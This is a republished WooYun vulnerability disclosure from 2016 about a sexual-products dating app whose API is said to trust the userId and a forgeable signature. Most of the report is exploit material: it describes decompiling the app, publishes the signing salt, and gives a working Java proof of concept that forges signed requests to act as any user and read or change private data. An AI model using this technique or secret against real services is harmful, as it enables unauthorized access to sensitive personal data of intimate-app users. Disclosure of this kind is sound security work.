盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

admin 2017年4月21日11:46:15评论490 views字数 253阅读0分50秒阅读模式
摘要

2016-04-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-22: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2016-193394

漏洞标题: 盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

相关厂商: 盘丝洞

漏洞作者: 灰狗

提交时间: 2016-04-07 10:24

公开时间: 2016-05-22 10:30

漏洞类型: 非授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: android安全 Android

6人收藏


漏洞详情

披露状态:

2016-04-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

盘丝洞两性情趣交友APP

详细说明:

1、APP中android和iOS接口一样的,接收http包也是一样的

2、对app进行抓包,burp的包

盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

重点关注sign参数,签名的

盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

非法参数签名

3、反编译apk,查找签名算法

盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

分析:

1、传入参数进行null检测,true的话怎么new一个

2、添加post请求的一些参数到map中

3、map中的参数名keyset转换成list,进行sort排序

4、new一个string构造,循环取出参数名和值添加到string构造中

5、如果循环完,等于null啦,则在stringbuild中加入salt,进行md5加密,生成sign

于是自己写一个出来,方便以后进行请求

盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

于是我们就可以进行任意请求啦,我们发现userid就是唯一的标识,session都是摆设

4、大量买过情趣用品的用户信息侧漏

盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

5、各种用户信息越权查询、修改

盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

修改keyvalue和userid,然后进行上述签名,即可进行越权修改

漏洞证明:

盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

code 区域
import **.**.**.**.IOException;
import **.**.**.**.UnsupportedEncodingException;
import **.**.**.**.URLEncoder;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import org.jsoup.Jsoup;
import org.jsoup.Connection.Method;
import org.jsoup.Connection.Response;

/**
*
* @author huigou
*
*/
public class Sign {
/**
*
* @param Screet
* @param map
* @return
* @throws UnsupportedEncodingException
*/
public static Map<String, String> sign(String Screet, Map<String, String> map) throws UnsupportedEncodingException {
if (map == null) {
map = new HashMap<>();
}
map.put("appVersion", "4.4.5");
map.put("platformModel", "iPhone 6s");
map.put("platformType", "1");
map.put("appType", "0");
map.put("v", "308");
map.put("timestamp", "1459866463678");
map.put("lastTime", "1459848354294");
ArrayList<String> list = new ArrayList<>(map.keySet());
Collections.sort(list); // 排序
StringBuilder localStringBuilder = new StringBuilder();
Iterator<String> iterator = list.iterator();
while (iterator.hasNext()) {
String str1 = iterator.next();
String str2 = map.get(str1);
if (str2 != null) {
localStringBuilder.append(str1 + "=" + URLEncoder.encode(str2, "UTF-8"));
map.put(str1, str2);
} else {
localStringBuilder.append(str1 + "=");
map.put(str1, "");
}
}
localStringBuilder.append(Screet);
map.put("sign", MD5.getMD5(localStringBuilder.toString().getBytes()));
return map;
}

public static void main(String[] args) throws IOException {
Map<String, String> map = new HashMap<>();
map.put("goodsId", "100006");
map.put("num", "1");
map.put("specifictionId", "100008");
map.put("specifictionName", "%E9%AD%94%E5%8A%9B%E7%B2%89");
map.put("userId", "902104");
Map hMap = Sign.sign("LWodY52kWIGOPGLo0189wj5eiYE", map);
Response response = Jsoup.connect("http://**.**.**.**/mall/cart/add.htm").method(Method.POST).data(hMap)
.ignoreContentType(true).execute();
System.out.println(response.body());
}
}

修复方案:

1、android sign算法针对不存在漏洞的接口,算是多一道防护

2、针对存在漏洞的接口,非对称加密是你最好的选择

版权声明:转载请注明来源 灰狗@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-07 11:39 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:59 | 要想Rank给高,标题一定得屌)

    1

    呔~哪里来的小号?

  2. 2016-04-07 12:28 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:24 )

    1

    ^_^

  3. 2016-04-07 20:58 | 放逐 ( 路人 | 还没有发布任何漏洞 | 白帽子放逐Gg?得失乐与悲与Av Qq205655539)

    1

    你们再这么搞老公迟早把所有情趣用品买下来

  4. 2016-05-22 10:33 | 木偶 ( 路人 | Rank:2 漏洞数:2 | 二货.....)

    0

    @灰狗最近有一个神器互联哎...可以控制对方的情趣用品!我也在搞这个APP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin